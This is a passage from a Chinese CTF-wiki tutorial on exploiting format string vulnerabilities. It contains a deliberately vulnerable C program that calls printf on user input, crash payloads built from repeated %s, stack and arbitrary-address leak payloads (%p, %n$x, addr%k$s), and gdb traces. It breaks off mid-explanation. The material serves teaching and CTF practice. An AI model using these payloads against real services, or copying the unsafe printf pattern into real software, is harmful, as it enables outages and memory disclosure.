---
ingested: true
ingestedAt: 2026-05-16
---
标题: 格式化字符串漏洞利用
链接: https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/
提取方式: WebFetch
内容:
# 利用
其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段
- 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
- 查看进程内容,根据 %d,%f 输出了栈上的内容。
下面我们会对于每一方面进行更加详细的解释。
## 程序崩溃
通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可
```
%s%s%s%s%s%s%s%s%s%s%s%s%s%s
```
这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。
## 泄露内存
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
- 获取某个变量的值
- 获取某个变量对应地址的内存
- 泄露任意地址内存
- 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
- 盲打,dump 整个程序,获取有用信息。
### 泄露栈内存
例如,给定如下程序
```c
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
```
然后,我们简单编译一下
```
➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
printf(s);
^
```
可以看出,编译器指出了我们的程序中没有给出格式化字符串的参数的问题。下面,我们来看一下,如何获取对应的栈内存。
根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取)。这里我们主要介绍 32 位。
#### 获取栈变量数值
首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下,运行结果如下
```
➜ leakmemory git:(master) ✗ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb
```
可以看到,我们确实得到了一些内容。为了更加细致的观察,我们利用 GDB 来调试一下,以便于验证我们的想法,这里删除了一些不必要的信息,我们只关注代码段以及栈。
首先,启动程序,将断点下在 printf 函数处
```
➜ leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
```
之后,运行程序
```
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%08x.%08x.%08x
```
此时,程序等待我们的输入,这时我们输入 %08x.%08x.%08x,然后敲击回车,是程序继续运行,可以看出程序首先断在了第一次调用 printf 函数的位置
```
Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd04│+0x18: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x1c: 0x000000c2
```
可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序
```
gef➤ c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
```
可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个 printf 处
```
Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28 in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x" ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"
```
此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd04 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。继续运行,我们可以得到如下结果去,确实和想象中的一样。
```
gef➤ c
Continuing.
ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally]
```
当然,我们也可以使用 %p 来获取数据,如下
```
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb
```
这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。
**需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第 n+1 个参数的值呢** ?肯定是可以的啦。方法如下
```
%n$x
```
利用如下的字符串,我们就可以获取到对应的第 n+1 个参数的数值。为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。
这里我们再次以 gdb 调试一下。
```
➜ leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%3$x
Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
─────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → "%3$x"
0xffffcd04│+0x18: 0xffffcd10 → "%3$x"
0xffffcd08│+0x1c: 0x000000c2
gef➤ c
Continuing.
00000001.22222222.ffffffff.%3$x
Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28 in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%3$x"
0xffffcd04│+0x08: 0xffffcd10 → "%3$x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%3$x" ← $eax
0xffffcd14│+0x18: 0xffffce00 → 0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤ c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]
```
可以看出,我们确实获得了 printf 的第 4 个参数所对应的值 f7e8b6bb。
#### 获取栈变量对应字符串
此外,我们还可以获得栈变量对应的字符串,这其实就是需要用到 %s 了。这里还是使用上面的程序,进行 gdb 调试,如下
```
➜ leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s
Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
────────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤ c
Continuing.
00000001.22222222.ffffffff.%s
Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28 in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?) ← $eax
0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤ c
Continuing.
%s[Inferior 1 (process 57488) exited normally]
```
可以看出,在第二次执行 printf 函数的时候,确实是将 0xffffcd04 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。
**当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。**
此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定第 printf 的第 3 个参数,如下,此时程序就不能够解析,就崩溃了。
```
➜ leakmemory git:(master) ✗ ./leakmemory
%2$s
00000001.22222222.ffffffff.%2$s
[1] 57534 segmentation fault (core dumped) ./leakmemory
```
**小技巧总结**
1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。
### 泄露任意地址内存
可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。那么我们究竟能不能这样做呢?自然也是可以的啦。
我们再仔细回想一下,一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例
```
Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28 in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?) ← $eax
0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
```
可以看出在栈上的第二个变量就是我们的格式化字符串地址 0xffffcd10,同时该地址存储的也确实是 "%s" 格式化字符串内容。
那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。
```
addr%k$s
```
注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。
下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定
```
[tag]%p%p%p%p%p%p...
```
一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,